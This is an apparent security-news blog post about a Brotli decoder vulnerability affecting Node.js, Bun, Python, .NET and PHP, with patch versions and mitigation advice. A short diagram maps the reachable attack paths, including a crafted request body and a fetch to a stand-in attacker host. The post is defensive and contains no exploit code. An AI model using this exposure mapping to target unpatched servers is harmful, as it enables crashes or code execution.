DEV Community

Cover image for Node2Shell: one Brotli decoder bug, three runtimes to patch (Node.js, Bun, Python)
Suraj Nandan
Suraj Nandan

Posted on Edited on Fully Autonomous

Node2Shell: one Brotli decoder bug, three runtimes to patch (Node.js, Bun, Python)

#node #security #javascript #python

Brotli is the compression format your browser has probably used to load this page. It's fast, efficient and everywhere. It's also why one bug in one C decoder means patching Node.js, Bun, .NET, Python packages and even PHP's Windows builds this month.

The bug is CVE-2026-111497, nicknamed Node2Shell (also HTTP2Shell). Since 27 October it has been on CISA's list of vulnerabilities known to be exploited.

What happened

On 21 October 2026, Node.js shipped security releases fixing ten vulnerabilities. The headline one was an out-of-bounds write in the Brotli decoder that Node.js bundles. Google, which maintains Brotli, released fixed versions of the library the same day. BleepingComputer reports the bug was found by researchers at OpenAI.

Severity depends on who you ask. Node.js rates it High, Google's CVE record gives 9.2 (CVSS 4.0), and NVD published 9.8 (CVSS 3.1) on 28 October.

Then it moved quickly:

  • 22–26 Oct: proofs of concept appear. Imperva's red team got code execution on the official Node.js 24.22.0 image on Linux arm64, after multiple attempts. Other public PoCs only crashed the process or worked against deliberately weakened builds.
  • 26–27 Oct: honeypot operators log exploitation attempts. In at least one firm's tests the attack chain crashed the target rather than giving a shell.
  • 27 Oct: CISA adds CVE-2026-111497 to its KEV catalog, with a 10 November deadline for federal agencies. CISA didn't publish details of the attacks.

Why Brotli shows up everywhere

Brotli isn't just in Node. The same decoder code is used across ecosystems, so one bug became many advisories:

Platform Fixed in
Node.js 22.23.4, 24.22.1, 26.12.1 (20.x and older, plus 23.x and 25.x, are end of life with no fix)
Bun 1.4.4
Brotli (C library) 1.0.10, 1.1.1, 1.2.1
Python brotli / brotlicffi 1.2.1 / 1.2.1.0
.NET 8.0.33, 9.0.22, 10.0.14
PHP (Windows builds) rebuilt as 8.5.12-1, 8.4.27-1, 8.3.36-1, 8.2.35-1 with Brotli 1.2.1

Node.js bundles its own copy of Brotli. Upgrading the system library doesn't fix Node, so you have to upgrade the runtime itself. The same applies to Bun.

When are you actually exposed?

The flaw is only reachable when your process decompresses untrusted Brotli data. According to Imperva's and Rescana's analyses, that includes:

  • Express 5.0.0–5.3.0 and body-parser 2.0.0–2.3.0, when the json() or raw() parsers accept request bodies with Content-Encoding: br and decompress them automatically. That's the remote, unauthenticated path.
  • Node's built-in fetch() reading Brotli-compressed responses. If your server fetches URLs from users (webhooks, link previews, scrapers), a malicious server can send the payload back to you.
  • Python HTTP clients (requests, urllib3, aiohttp, httpx), which decode Brotli whenever a Brotli package is installed. No Python-specific code execution had been shown publicly at the time of writing, but the vulnerable decoder code is the same.
  • PHP's cURL extension, when automatic response decompression is enabled. It's off by default, but some client libraries turn it on, according to PHP's advisory.

Imperva notes that a bare Node.js HTTP server doesn't decode incoming Brotli bodies by itself. Exposure comes from the middleware and client code you run on top.

attacker → POST /api  (Content-Encoding: br, crafted body)
              └─ express.json() / body-parser decompresses automatically
                    └─ bundled Brotli decoder → out-of-bounds write
                          └─ crash (DoS) — or, in some builds, code execution

your server → fetch("https://attacker.example/...")
              └─ response is Content-Encoding: br → same decoder path
Enter fullscreen mode Exit fullscreen mode

This is a simplified view of the reachable paths, not an exploit description.

What to do 

# Check the runtime that actually serves traffic, not just your laptop
node -v          # need 22.23.4+, 24.22.1+ or 26.12.1+
bun --version    # need 1.4.4+
pip show brotli brotlicffi 2>/dev/null | grep -E "Name|Version"

# Find Express / body-parser versions in your app
npm ls express body-parser
Enter fullscreen mode Exit fullscreen mode
  1. Upgrade Node.js everywhere it runs: servers, Docker base images, CI runners, serverless runtimes and Electron-style apps that bundle Node.
  2. Leave end-of-life lines. If you're on Node 20, this fix doesn't exist for you. Node 26 became LTS on 28 October.
  3. Patch the other copies: Bun, Python's brotli and brotlicffi, .NET, and system Brotli libraries.
  4. If you can't upgrade today, stop decompressing untrusted Brotli. body-parser's inflate: false rejects encoded request bodies, and you can strip or reject Content-Encoding: br at your reverse proxy. A WAF rule is a stopgap and won't protect fetch() responses.
  5. Review logs for services that accepted compressed bodies before you patched, and look for unexplained worker crashes from around 21 October onwards.

What this teaches us

Your runtime is a dependency tree too. npm audit won't flag a bug in the C code compiled into node. Track runtime versions with the same discipline as packages, including the versions baked into images.

"Automatic" features grow your attack surface. Transparent decompression is convenient and almost nobody remembers it's switched on. Every parser that runs on untrusted input before your code sees it is part of your exposure.

One library, many advisories. Brotli, zlib, libwebp and others are copied or bundled into dozens of runtimes. When one breaks, you'll see a wave of advisories with different version numbers for the same bug.

What might happen next (analysis)

This is analysis, not reporting.

KEV listing usually means more scanning, so expect exploitation attempts against unpatched Express 5 APIs to rise over the coming weeks, especially against older Node lines that will never be fixed. Reliable code execution currently seems to depend on the platform and build, but crashing unpatched servers is already easy, and that alone makes it worth fixing. Expect more downstream advisories as vendors who bundle Brotli in appliances and desktop apps catch up.

Conclusion

Node2Shell isn't a JavaScript bug, a Python bug or a PHP bug. It's a shared C bug that every runtime inherited. If you remember one thing, make it this: upgrade the runtime, not just the packages, and know which of your services decompress data from strangers.

Your turn: do you know which Node.js version is running in your production containers right now, without checking?

References

Part of The Wire, a daily brief on the tech and security news that matters to developers. Details are as reported up to 31 October 2026.

☕ Enjoyed this post? You can support my writing on Ko-fi.

Support me on Ko-fi

Top comments (0)